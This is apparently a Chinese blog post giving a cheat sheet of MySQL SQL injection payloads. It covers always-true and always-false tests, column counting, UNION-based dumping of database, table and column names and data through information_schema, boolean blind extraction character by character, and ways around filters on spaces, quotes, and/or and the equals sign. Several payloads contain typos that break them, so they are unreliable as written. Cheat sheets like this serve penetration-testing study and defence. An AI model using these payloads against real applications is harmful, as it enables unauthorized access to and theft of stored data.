常用SQL注入方式

2023-07-30 17:13:51 浏览数 (2)

测试:

代码语言:javascript复制
#  恒假式
1' and 1=2#
#  恒真式:
1' or 1=1#
#  判断字段数:
1' order by 1.2.3.....#

函数:

代码语言:javascript复制
#  数据库
database()
#  MYSQL版本
version()
#  用户
user()
#  用法:1' union select database(), 2,3#

普通注入:

代码语言:javascript复制
#  爆库
1' union select database(),...#
#  读第二个表名
1' union select table_name from information_schema.tables where table_schema='库名'  limit 1, 1#
#  读第二个字段名
1' union select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit1,1#
#  读第二个字段数据
1' union select 字段名 from 库名.表名 limit 1,1#

布尔盲注:

代码语言:javascript复制
#  爆库长度
1' and length(database())>=3#
#  爆库名第一个字母
1' and substr(database(), 1, 1) = 'a' #
1' and ord(substr(database(), 1, 1)) = 97#
#  爆第一个表名的第一个字母
1, and substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1)='a'#
1, and ord(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1))=97#
#  爆第一个字段名的第一个字母
1' and substr((select column_name from infomation_schema.columns where table_schema='库名' and table_name='表名' limit0,1)1,1)='a'#
1' and ord(substr((select column_name from infomation_schema.columns where table_schema='库名' and table_name='表名' limit0,1)1,1))=97#
#  爆第一个字段的第一个字母
1' and substr((select 字段名 from 库名.表名 limit 0,1),1,1)='a'#
1' and ord(substr((select 字段名 from 库名.表名 limit 0,1),1,1))=97#

过滤空格:

代码语言:javascript复制
#  用注释代替空格
/**/

#  其他字符代替空格
  	 
   
 � TAB键

#  括号绕过,任何可以计算出结果的语句,都可以用括号包围起来。

过滤引号:

代码语言:javascript复制
#  用16进制绕过,将引号内的字符用16进制表示(0x...),省略引号

过滤and:

代码语言:javascript复制
&&

过滤or:

代码语言:javascript复制
||

过滤=:

代码语言:javascript复制
like

其他绕过:

  • 大小写绕过
  • 内联注释绕过
  • 双关键字绕过
  • 编码绕过
  • 反引号`绕过

0 人点赞